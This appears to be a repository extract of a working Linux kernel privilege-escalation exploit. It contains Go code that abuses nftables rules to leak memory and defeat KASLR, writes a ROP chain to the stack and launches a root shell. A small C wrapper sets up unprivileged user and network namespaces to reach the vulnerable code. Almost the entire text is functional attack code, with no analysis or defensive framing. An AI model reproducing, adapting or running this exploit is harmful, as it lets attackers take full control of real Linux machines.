Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 15,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x02, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x03, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x04, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 18,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x05, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 19,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return err
}
// base chain alloc
policy := nftables.ChainPolicyAccept
// Put basechain in kmalloc-192
baseChain := conn.AddChain(&nftables.Chain{
Name: "base-chain",
Table: table,
Type: nftables.ChainTypeFilter,
Hooknum: nftables.ChainHookInput,
Priority: nftables.ChainPriorityFilter,
Policy: &policy,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x01, 0x01, 0x01},
},
&expr.Meta{
Key: unix.NFT_META_NFTRACE,
SourceRegister: true,
Register: 8,
},
},
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictJump,
Chain: "leak-chain",
},
&expr.Verdict{
Kind: expr.VerdictReturn,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
packet_leak_path()
// Recover entries from set
elems, err := conn.GetSetElements(&leakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets := []uint16{0, 0, 0, 0, 0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint16(elem.Val)
offsets[key] = val
}
// offsets[0] = jumpstack[0].chain u16 lsb high u32
// offsets[1] = jumpstack[0].chain u16 lsb low u32
// offsets[2] = jumpstack[0].rules u16 lsb high u32
// offsets[3] = jumpstack[0].rules u16 lsb low u32
// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
// offsets[5] = jumpstack[0].rules_last u16 lsb low u32
// Free all rules from the leak chain and prepare it for a write
conn.FlushChain(leakChain)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not delete leakchain rules: %v", err)
}
// chain low u16
chainLow := make([]byte, 4)
binary.LittleEndian.PutUint16(chainLow, offsets[0])
// chain high u16
chainHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(chainHigh, offsets[1])
// rules low u16
ruleLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLow, offsets[4]-0x22)
// rules high u16
ruleHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleHigh, offsets[3])
// rules_last low u16
ruleLastLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastLow, (offsets[4]-0x22)+0x8)
// rules_last high u16
ruleLastHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])
// Payload to write lsb of rules pointer
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: chainLow,
},
&expr.Immediate{
Register: 9,
Data: chainHigh,
},
&expr.Immediate{
Register: 10,
Data: ruleLow,
},
&expr.Immediate{
Register: 11,
Data: ruleHigh,
},
&expr.Immediate{
Register: 12,
Data: ruleLastLow,
},
&expr.Immediate{
Register: 13,
Data: ruleLastHigh,
},
&expr.Byteorder{
SourceRegister: 8,
DestRegister: 16,
Op: expr.ByteorderHton,
Len: 28,
Size: 2,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not add oob write rule: %v", err)
}
// Register our trace handler to recover the leak
traceconn, err := netlink.Dial(unix.NETLINK_NETFILTER, &netlink.Config{})
if err != nil {
return fmt.Errorf("Could not setup listening socket: %v", err)
}
defer traceconn.Close()
// Add to trace group
err = traceconn.JoinGroup(unix.NFNLGRP_NFTRACE)
if err != nil {
return fmt.Errorf("Could not add socket to trace group: %v", err)
}
// Trigger our leak
packet_leak_path()
for {
messages, err := traceconn.Receive()
if err != nil {
return fmt.Errorf("Could not receive trace messages: %v", err)
}
// Parse the trace messages
for _, m := range messages {
ad, err := netlink.NewAttributeDecoder(m.Data[4:])
if err != nil {
return fmt.Errorf("Could not create attribute decoder: %v", err)
}
ad.ByteOrder = binary.BigEndian
for ad.Next() {
if ad.Type() == unix.NFTA_TRACE_RULE_HANDLE {
addr := ad.Uint64() >> 3
// Check that the 3 lower nibbles are identical (untouched by kASLR)
if (addr & 0xfff) != (currentConfig.immOpsOff & 0xfff) {
continue
}
// Small sanity check that the value > 32 bits
if addr < 0x100000000 {
continue
}
moduleBase := addr - currentConfig.immOpsOff
moduleBase |= 0xffffff8000000000 // Set the top 25 bits to ff, which should be fine
fmt.Printf("LEAK:%x", moduleBase)
return nil
}
}
}
}
return nil
}
func leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
// Main table for important chains
table := conn.AddTable(&nftables.Table{
Family: nftables.TableFamilyIPv4,
Name: "kaslr",
})
// Set recovering the leaked values from the stack
leakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err := conn.AddSet(&leakSet, nil)
if err != nil {
return fmt.Errorf("Could no create set: %v", err)
}
// Set recovering the leaked stack return address
kleakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "kaslr-leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err = conn.AddSet(&kleakSet, nil)
if err != nil {
return fmt.Errorf("Could not create kernel leak set: %v", err)
}
// Chain used for leaking information off the stack
leakChain := conn.AddChain(&nftables.Chain{
Name: "leak-chain",
Table: table,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
&expr.Byteorder{
SourceRegister: 18,
DestRegister: 8,
Op: expr.ByteorderHton,
Len: 24,
Size: 2,
},
// Add to the set the lsb's
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 14,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 15,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x02, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x03, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x04, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 18,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x05, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 19,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return err
}
// base chain alloc
policy := nftables.ChainPolicyAccept
baseChain := conn.AddChain(&nftables.Chain{
Name: "base-chain",
Table: table,
Type: nftables.ChainTypeFilter,
Hooknum: nftables.ChainHookInput,
Priority: nftables.ChainPriorityFilter,
Policy: &policy,
})
// First rule: jump to leakchain to recover next rule ptr lsb
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictJump,
Chain: "leak-chain",
},
},
})
// Second rule: craft a fake rule within a nft_range rule
w := new(bytes.Buffer)
// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))
// Write fake nft_byteorder
// struct nft_byteorder {
// u8 sreg; /* 0 1 */
// u8 dreg; /* 1 1 */
// enum nft_byteorder_ops op:8; /* 0:16 4 */
// u8 len; /* 3 1 */
// u8 size; /* 4 1 */
//
// /* size: 8, cachelines: 1, members: 5 */
// /* padding: 3 */
// /* last cacheline: 8 bytes */
// };
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.byteorderOpsOff))
// set byteorder::sreg as the offset // 4 of the return address on the stack
_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))
// set byteorder::dreg as the register where we want to recover the value (-4 to remove first 4 dwords of regs, aka verdict)
_ = binary.Write(w, binary.LittleEndian, uint8(12))
// set byteorder::op to NFT_BYTEORDER_NTOH (not sure if it matters)
_ = binary.Write(w, binary.LittleEndian, uint8(0))
// set byteorder::len to 8 bytes
_ = binary.Write(w, binary.LittleEndian, uint8(8))
// set byteorder::size to 8 (u64)
_ = binary.Write(w, binary.LittleEndian, uint8(8))
// padding
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
// Write partial nft_meta, which will overlap with the end of the real nft_range
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))
payload := w.Bytes()
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Range{
Op: expr.CmpOpNeq,
Register: 8, // Will overlap with meta->key
FromData: payload[:16],
ToData: payload[16:],
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
// Third rule, add our register, which will contain the address to the set
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "kaslr-leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "kaslr-leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
packet_leak_path()
// Flush the entries in kaslr leak set
conn.FlushSet(&kleakSet)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not flush kaslr leak set: %v", err)
}
// Recover entries from set
elems, err := conn.GetSetElements(&leakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets := []uint16{0, 0, 0, 0, 0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint16(elem.Val)
offsets[key] = val
}
// offsets[0] = jumpstack[0].chain u16 lsb high u32
// offsets[1] = jumpstack[0].chain u16 lsb low u32
// offsets[2] = jumpstack[0].rules u16 lsb high u32
// offsets[3] = jumpstack[0].rules u16 lsb low u32
// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
// offsets[5] = jumpstack[0].rules_last u16 lsb low u32
// Free all rules from the leak chain and prepare it for a write
conn.FlushChain(leakChain)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not delete leakchain rules: %v", err)
}
// fmt.Println("[+] Flushed leak chain")
// for i, e := range offsets {
// fmt.Printf("offset[%v] = 0x%x\n", i, e)
// }
// chain low u16
chainLow := make([]byte, 4)
binary.LittleEndian.PutUint16(chainLow, offsets[0])
// chain high u16
chainHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(chainHigh, offsets[1])
// rules low u16
// Skip real rule_dp header + nft_range_ops
ruleLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)
// rules high u16
ruleHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleHigh, offsets[3])
// rules_last low u16
ruleLastLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])
// rules_last high u16
ruleLastHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])
// Payload to write lsb of rules pointer
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: chainLow,
},
&expr.Immediate{
Register: 9,
Data: chainHigh,
},
&expr.Immediate{
Register: 10,
Data: ruleLow,
},
&expr.Immediate{
Register: 11,
Data: ruleHigh,
},
&expr.Immediate{
Register: 12,
Data: ruleLastLow,
},
&expr.Immediate{
Register: 13,
Data: ruleLastHigh,
},
&expr.Byteorder{
SourceRegister: 8,
DestRegister: 16,
Op: expr.ByteorderHton,
Len: 28,
Size: 2,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not add oob write rule: %v", err)
}
// Trigger our leak
packet_leak_path()
// Recover leaked return address from set
elems, err = conn.GetSetElements(&kleakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets2 := []uint32{0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint32(elem.Val)
offsets2[key] = val
}
leakedPtr := uint64(offsets2[0])<<32 | uint64(offsets2[1])
if (leakedPtr & 0xfff) != (currentConfig.ipLocalDeliverReturn & 0xfff) {
return fmt.Errorf("Invalid pointer: %x", leakedPtr)
}
fmt.Printf("LEAK:%x\n", leakedPtr-currentConfig.ipLocalDeliverReturn)
return nil
}
func ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
// Rop chain for our post exploit
ropchain := craft_rop_chain(kernelBase)
// Main table for important chains
table := conn.AddTable(&nftables.Table{
Family: nftables.TableFamilyIPv4,
Name: "rop",
})
// Set recovering the leaked values from the stack
leakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err := conn.AddSet(&leakSet, nil)
if err != nil {
return fmt.Errorf("Could no create set: %v", err)
}
// Chain used for leaking information off the stack
leakChain := conn.AddChain(&nftables.Chain{
Name: "leak-chain",
Table: table,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
&expr.Byteorder{
SourceRegister: 18,
DestRegister: 8,
Op: expr.ByteorderHton,
Len: 24,
Size: 2,
},
// Add to the set the lsb's
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 14,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x01, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 15,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x02, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 16,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x03, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 17,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x04, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 18,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
&expr.Immediate{
Register: 8,
Data: []byte{0x05, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 19,
SetName: "leak-set",
Operation: uint32(unix.NFT_DYNSET_OP_ADD),
},
},
})
if err := conn.Flush(); err != nil {
return err
}
// base chain alloc
policy := nftables.ChainPolicyAccept
baseChain := conn.AddChain(&nftables.Chain{
Name: "base-chain",
Table: table,
Type: nftables.ChainTypeFilter,
Hooknum: nftables.ChainHookInput,
Priority: nftables.ChainPriorityFilter,
Policy: &policy,
})
// First rule: jump to leakchain to recover next rule ptr lsb
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictJump,
Chain: "leak-chain",
},
},
})
// Second rule: craft a fake rule within a nft_range rule
w := new(bytes.Buffer)
// Craft nft_rule_dp with (dlen=32, is_last=0, handle=0)
_ = binary.Write(w, binary.LittleEndian, uint64(32<<1))
// Write fake nft_payload
// struct nft_payload {
// enum nft_payload_bases base:8; /* 0: 0 4 */
// u8 offset; /* 1 1 */
// u8 len; /* 2 1 */
// u8 dreg; /* 3 1 */
// /* size: 4, cachelines: 1, members: 4 */
// /* last cacheline: 4 bytes */
// };
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.payloadOpsOff))
// set payload::base as NFT_PAYLOAD_TRANSPORT_HEADER
_ = binary.Write(w, binary.LittleEndian, uint8(2))
// set payload::offset to 8 (skip UDP header)
_ = binary.Write(w, binary.LittleEndian, uint8(8))
// set payload::len to the length of our ropchain (aka, bytes to copy)
_ = binary.Write(w, binary.LittleEndian, uint8(len(ropchain)))
// set payload::dreg to point to the return address, beyond the stack canary
_ = binary.Write(w, binary.LittleEndian, uint8(currentConfig.ipLocalDeliverRegOff/4))
// padding
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
_ = binary.Write(w, binary.LittleEndian, uint8(0))
// Write partial nft_meta, which will overlap with the end of the real nft_range
_ = binary.Write(w, binary.LittleEndian, uint64(moduleBase+currentConfig.metaSetOpsOff))
payload := w.Bytes()
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Range{
Op: expr.CmpOpNeq,
Register: 8, // Will overlap with meta->key
FromData: payload[:16],
ToData: payload[16:],
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
// Third rule, juste some placeholder
conn.AddRule(&nftables.Rule{
Table: table,
Chain: baseChain,
Exprs: []expr.Any{
&expr.Verdict{
Kind: expr.VerdictReturn,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not create base chain: %v", err)
}
packet_leak_path()
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not flush kaslr leak set: %v", err)
}
// Recover entries from set
elems, err := conn.GetSetElements(&leakSet)
if err != nil {
return fmt.Errorf("Could not get set elems: %v", err)
}
offsets := []uint16{0, 0, 0, 0, 0, 0}
for _, elem := range elems {
key := binary.LittleEndian.Uint32(elem.Key)
val := binary.BigEndian.Uint16(elem.Val)
offsets[key] = val
}
// offsets[0] = jumpstack[0].chain u16 lsb high u32
// offsets[1] = jumpstack[0].chain u16 lsb low u32
// offsets[2] = jumpstack[0].rules u16 lsb high u32
// offsets[3] = jumpstack[0].rules u16 lsb low u32
// offsets[4] = jumpstack[0].rules_last u16 lsb high u32
// offsets[5] = jumpstack[0].rules_last u16 lsb low u32
// Free all rules from the leak chain and prepare it for a write
conn.FlushChain(leakChain)
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not delete leakchain rules: %v", err)
}
// chain low u16
chainLow := make([]byte, 4)
binary.LittleEndian.PutUint16(chainLow, offsets[0])
// chain high u16
chainHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(chainHigh, offsets[1])
// rules low u16
// Skip real rule_dp header + nft_range_ops
ruleLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLow, offsets[2]+16)
// rules high u16
ruleHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleHigh, offsets[3])
// rules_last low u16
ruleLastLow := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastLow, offsets[4])
// rules_last high u16
ruleLastHigh := make([]byte, 4)
binary.LittleEndian.PutUint16(ruleLastHigh, offsets[5])
// Payload to write lsb of rules pointer
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
&expr.Immediate{
Register: 8,
Data: chainLow,
},
&expr.Immediate{
Register: 9,
Data: chainHigh,
},
&expr.Immediate{
Register: 10,
Data: ruleLow,
},
&expr.Immediate{
Register: 11,
Data: ruleHigh,
},
&expr.Immediate{
Register: 12,
Data: ruleLastLow,
},
&expr.Immediate{
Register: 13,
Data: ruleLastHigh,
},
&expr.Byteorder{
SourceRegister: 8,
DestRegister: 16,
Op: expr.ByteorderHton,
Len: 28,
Size: 2,
},
},
})
if err := conn.Flush(); err != nil {
return fmt.Errorf("Could not add oob write rule: %v", err)
}
// Write our ropchain to the network packet and trigger our nft instructions
packet_ropchain_path(ropchain)
return nil
}
type ExploitStepFn func(*nftables.Conn, uint64, uint64) error
func nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleBase uint64, kernelBase uint64) error {
// Open netlink connection
conn, err := nftables.New(nftables.WithNetNSFd(int(handle)))
_ = conn
if err != nil {
return err
}
conn.FlushRuleset()
defer conn.FlushRuleset()
err = step(conn, moduleBase, kernelBase)
if err != nil {
return err
}
return nil
}
func main() {
// Get cpu count, will be useful for sprays
rand.Seed(time.Now().UnixNano())
var origAffinity unix.CPUSet
origAffinity.Zero()
err := unix.SchedGetaffinity(0, &origAffinity)
if err != nil {
panic(err)
}
cpuCount = origAffinity.Count()
// Lock go routine to specific thread
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Bind to a single cpu to reach same kmalloc slabs
var cpuSet unix.CPUSet
cpuSet.Zero()
cpuSet.Set(0)
err = unix.SchedSetaffinity(0, &cpuSet)
if err != nil {
panic(err)
}
if len(os.Args) >= 3 {
mode := os.Args[1]
if os.Args[1] != "module_leak" && os.Args[1] != "kernel_leak" && os.Args[1] != "kernel_rop" {
fmt.Printf("Invalid binary mode: '%v'\n", os.Args[1])
}
moduleBase, err := strconv.ParseUint(os.Args[2], 16, 64)
if err != nil {
panic(err)
}
// Setup the environ
ns, err := netns.New()
if err != nil {
panic(err)
}
defer ns.Close()
// Create new net interface
err = exec.Command("ip", "addr", "add", "127.0.0.1/8", "dev", "lo").Run()
if err != nil {
fmt.Printf("Could not give interface ip")
return
}
err = exec.Command("ip", "link", "set", "lo", "up").Run()
if err != nil {
fmt.Printf("Could not up interface")
return
}
if mode == "module_leak" {
err = nftables_wrapper(ns, leak_module_step, 0, 0)
} else if mode == "kernel_leak" {
err = nftables_wrapper(ns, leak_kaslr_step, moduleBase, 0)
} else {
if len(os.Args) != 4 {
fmt.Println("[!] Missing kernel address parameter")
return
}
kernelBase, err := strconv.ParseUint(os.Args[3], 16, 64)
if err != nil {
panic(err)
}
err = nftables_wrapper(ns, ropchain_step, moduleBase, kernelBase)
}
if err != nil {
fmt.Printf("Error: %v\n", err)
}
} else if len(os.Args) == 1 {
// No arguments, launch the full exploit process
// First resolve the binary and find the wrapper in the same folder
binPath, err := os.Readlink("/proc/self/exe")
if err != nil {
fmt.Printf("[!] Could not resolve binary path: %v\n", err)
return
}
binFolder := path.Dir(binPath)
wrapperPath := path.Join(binFolder, "wrapper")
if unix.Getuid() == 0 {
fmt.Println("[+] WARNING: Exploit already running as root. For debugging")
}
fmt.Println("[+] Recovering module base")
var moduleBase uint64 = 0x0
for i := 0; i < 15; i++ {
moduleLeak := exec.Command(wrapperPath, binPath, "module_leak", "0")
stdout, err := moduleLeak.Output()
if err != nil {
fmt.Printf("[E] Module leak failed: %v\n", err)
return
}
lines := strings.Split(string(stdout), "\n")
for _, line := range lines {
if strings.HasPrefix(line, "LEAK") {
addrStr := strings.Split(line, ":")[1]
moduleBase, err = strconv.ParseUint(addrStr, 16, 64)
if err != nil {
// Should never happen
panic(err)
}
break
}
}
if moduleBase != 0 {
break
}
fmt.Printf("Failed attempt #%v, retrying ...\n", i)
}
if moduleBase == 0 {
fmt.Println("[E] Could not find module base, crashing the kernel :(")
} else {
fmt.Printf("[+] Module base: 0x%x\n", moduleBase)
fmt.Println("[+] Recovering kernel base")
}
var kernelBase uint64 = 0
for i := 0; i < 10; i++ {
kernelLeak := exec.Command(wrapperPath, binPath, "kernel_leak", strconv.FormatUint(moduleBase, 16))
stdout, err := kernelLeak.Output()
if err != nil {
fmt.Printf("[E] Kernel leak failed: %v\n", err)
return
}
lines := strings.Split(string(stdout), "\n")
for _, line := range lines {
if strings.HasPrefix(line, "LEAK") {
addrStr := strings.Split(line, ":")[1]
kernelBase, err = strconv.ParseUint(addrStr, 16, 64)
if err != nil {
// Should never happen
panic(err)
}
break
}
}
if kernelBase != 0 {
break
}
fmt.Printf("Failed attempt #%v, retrying ...\n", i)
}
fmt.Printf("[+] Kernel base: 0x%x\n", kernelBase)
for {
kernelLeak := exec.Command(wrapperPath, binPath, "kernel_rop", strconv.FormatUint(moduleBase, 16), strconv.FormatUint(kernelBase, 16))
err := kernelLeak.Start()
if err != nil {
panic(err)
}
for {
// Wait one second so we don't race with the overwriting of the
// syscall handler
time.Sleep(1 * time.Second)
syscall.RawSyscall(unix.SYS_MODIFY_LDT, 0, 0, 0)
if unix.Getuid() == 0 {
fmt.Println("[+] Got root !!!")
unix.Exec("/bin/sh", []string{"/bin/sh"}, os.Environ())
}
}
}
} else {
fmt.Println("Invalid arguments")
}
}
================================================
FILE: src/wrapper.c
================================================
#include <err.h>
#include <sched.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
static void setup_namespaces(void)
{
int fd;
char buffer[128];
int buffer_size;
int ret;
uid_t uid;
ssize_t nb_write;
uid = getuid();
ret = unshare(CLONE_NEWUSER | CLONE_NEWNET);
if (ret < 0) {
err(1, "Failed to unshare");
}
buffer_size = snprintf(buffer, sizeof(buffer), "0 %u 1", uid);
if (buffer_size < 0) {
errx(1, "Failed to snprintf");
}
fd = openat(AT_FDCWD, "/proc/self/uid_map", O_WRONLY);
if (fd < 0) {
err(1, "Failed to open");
}
nb_write = write(fd, buffer, buffer_size);
if (nb_write != buffer_size) {
err(1, "Failed to write");
}
close(fd);
fd = openat(AT_FDCWD, "/proc/self/setgroups", O_WRONLY);
if (fd < 0) {
err(1, "Failed to open");
}
nb_write = write(fd, "deny", strlen("deny"));
if (nb_write != strlen("deny")) {
err(1, "Failed to write");
}
close(fd);
fd = openat(AT_FDCWD, "/proc/self/gid_map", O_WRONLY);
if (fd < 0) {
err(1, "Failed to open");
}
nb_write = write(fd, buffer, buffer_size);
if (nb_write != buffer_size) {
err(1, "Failed to write");
}
close(fd);
}
int main(int argc, char *argv[], char *envp[])
{
(void)argc;
setup_namespaces();
execve(argv[1], &argv[1], envp);
err(1, "Failed to exec stage payload");
return 0;
}
gitextract__sgpeqhj/
├── Makefile
├── README.md
├── go.mod
├── go.sum
├── main.go
└── src/
└── wrapper.c
SYMBOL INDEX (14 symbols across 2 files)
FILE: main.go
type exploitConfig (line 31) | type exploitConfig struct
function CToGoString (line 68) | func CToGoString(b []byte) string {
function init (line 84) | func init() {
function packet_leak_path (line 117) | func packet_leak_path() {
function packet_ropchain_path (line 132) | func packet_ropchain_path(ropchain []byte) {
function craft_rop_chain (line 146) | func craft_rop_chain(kernelBase uint64) []byte {
function leak_module_step (line 188) | func leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase...
function leak_kaslr_step (line 509) | func leak_kaslr_step(conn *nftables.Conn, moduleBase uint64, kernelBase ...
function ropchain_step (line 895) | func ropchain_step(conn *nftables.Conn, moduleBase uint64, kernelBase ui...
type ExploitStepFn (line 1213) | type ExploitStepFn
function nftables_wrapper (line 1215) | func nftables_wrapper(handle netns.NsHandle, step ExploitStepFn, moduleB...
function main (line 1236) | func main() {
FILE: src/wrapper.c
function setup_namespaces (line 11) | static void setup_namespaces(void)
function main (line 63) | int main(int argc, char *argv[], char *envp[])
Condensed preview — 6 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (57K chars).
[
{
"path": "Makefile",
"chars": 392,
"preview": "CC = gcc\nCFLAGS = -Wall -Wextra -Werror\nCFLAGS += -std=c99\nCFLAGS += -Os -g0\nCFLAGS += -D_GNU_SOURCE -D_DEFAULT_SOURCE -"
},
{
"path": "README.md",
"chars": 627,
